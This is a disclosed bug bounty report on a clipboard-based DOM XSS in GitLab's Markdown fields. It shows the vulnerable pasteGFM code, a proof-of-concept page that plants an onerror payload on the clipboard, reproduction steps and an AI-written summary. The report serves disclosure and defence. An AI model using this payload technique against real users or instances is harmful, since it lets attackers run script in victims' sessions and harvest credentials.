Clipboard DOM-based XSS
A DOM-based XSS vulnerability exists in GitLab's Markdown text fields because clipboard data of type text/x-gfm-html is inserted into a div's innerHTML without sanitisation. An attacker could execute arbitrary JavaScript in a victim's browser if the victim copies specially crafted content from a malicious site and pastes it into a vulnerable field.
- Triaged in 3 days
- Fixed in 49 days
- Paid in 49 days
- Disclosed after 3 months
Summary
A clipboard DOM-based XSS exists on several Markdown text fields.
Technical details
The app/assets/javascripts/behaviors/markdown/copy_as_gfm.js file is used to get and set GFM (GitHub Flavored Markdown) data on the clipboard on different parts of the GitLab application. If a user copies data from a malicious website and copies it in one of the text fields in which the pasteGFM function is used, the attacker can execute arbitrary JavaScript code under the user's credentials. The vulnerability exists because the gfmHtml variable value is assigned without sanitization directly from the clipboard and later used to set the innerHTML property of a dynamically created div element. The following code snippet contains the vulnerable code with additional comments for better explaining the issue.
static pasteGFM(e) {
const { clipboardData } = e.originalEvent;
if (!clipboardData) return;
const text = clipboardData.getData('text/plain');
const gfm = clipboardData.getData('text/x-gfm');
const gfmHtml = clipboardData.getData('text/x-gfm-html'); /* <-- Data is copied from the clipboard*/
if (!gfm && !gfmHtml) return;
e.preventDefault();
// We have the original selection already converted to gfm
if (gfm) {
CopyAsGFM.insertPastedText(e.target, text, gfm);
} else {
// Due to the async copy call we are not able to produce gfm so we transform the cached HTML
const div = document.createElement('div'); /* <-- Div element is created*/
div.innerHTML = gfmHtml; /* <-- innerHTML is set */
CopyAsGFM.nodeToGFM(div)
.then((transformedGfm) => {
CopyAsGFM.insertPastedText(e.target, text, transformedGfm);
})
.catch(() => {});
}
}
Steps to reproduce
On a testing machine, perform the following steps:
- Install the Docker container engine
- Create an HTML file like the following:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Clipboard-XSS</title>
</head>
<body>
<h3>Try out our new clipboard plugin</h3>
<p>Copy <strong>here</strong>, paste it on the editor and see what happens!</p>
<script>
document.oncopy = event => {
event.preventDefault();
event.clipboardData.setData('text/x-gfm-html', 'XSS<img/src/onerror=alert(1)>');
console.log("updated clipboard");
}
</script>
</body>
</html>
- Spin a new GitLab container with the following commands:
export GITLAB_HOME=/srv/gitlab
sudo docker run --detach --hostname gitlab.example.com --publish 4443:443 --publish 8080:80 --publish 2222:22 --name gitlab --restart always --volume $GITLAB_HOME/config:/etc/gitlab --volume $GITLAB_HOME/logs:/var/log/gitlab --volume $GITLAB_HOME/data:/var/opt/gitlab gitlab/gitlab-ce:latest
- Using a web browser, navigate to the HTML file created in step 1
- Select the word here as instructed and copy it to the clipboard
- Navigate to http://localhost:8080/ and follow the instructions required to set up the password for the root user
- Using the previously set password, log in as the root user
- On the projects list, click on the GitLab Instance / Monitoring project
- On the left pane, click on Issues
- Click on the New issue button
- Paste the contents from the clipboard on the Description textarea
- Check an alert box is displayed
Impact
This is a standard XSS vulnerability. An attacker may force users to perform any activities available through the application's Javascript API or use this for credential harvesting, etc.
Examples
The following PoC video demonstrates the attack
What is the current bug behavior?
Pasting content triggers arbitrary JavaScript code execution when the text/x-gfm-html MIME type is used.
What is the expected correct behavior?
Pasting content should not trigger JavaScript code execution.
Relevant logs and/or screenshots
(Paste any relevant logs - please use code blocks (```) to format console output, logs, and code as it's very hard to read otherwise.)
Output of checks
This bug exists in https://gitlab.com/ but is currently unexploitable due to CSP.
Results of GitLab environment info
System information
System:
Current User: git
Using RVM: no
Ruby Version: 2.7.2p137
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.3
Redis Version: 6.0.12
Git Version: 2.31.1
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 13.11.3
Revision: b321336e443
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.6
URL: http://gitlab.example.com
HTTP Clone URL: http://gitlab.example.com/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.17.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
This is a standard XSS vulnerability. An attacker may force users to perform any activities available through the application's Javascript API or use this for credential harvesting, etc.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The application assigns clipboard data to innerHTML without sanitisation.
Impact
An attacker could force users to perform any activities available through the application's JavaScript API or use this for credential harvesting, but on gitlab.com the exploit is currently blocked by CSP.
What the attacker needed
Victim copies from a malicious site; victim pastes into a vulnerable field; CSP must not block the exploit
How it was found
- Create an HTML file that sets clipboard data with a malicious payload when copied.
- Start a GitLab instance using Docker.
- Open the HTML file in a browser and copy the designated text.
- Log in to GitLab as root and navigate to a project's Issues page.
- Create a new issue and paste the clipboard contents into the Description field.
- Observe that an alert box appears, indicating script execution.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a cross-site scripting (XSS) bug. When you copy text from a website, your clipboard can contain hidden data formats. GitLab reads one of those formats and puts it directly into the page without cleaning it, so malicious code can run. An attacker could trick you into copying from their site and pasting into GitLab, and then your browser would run their code.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.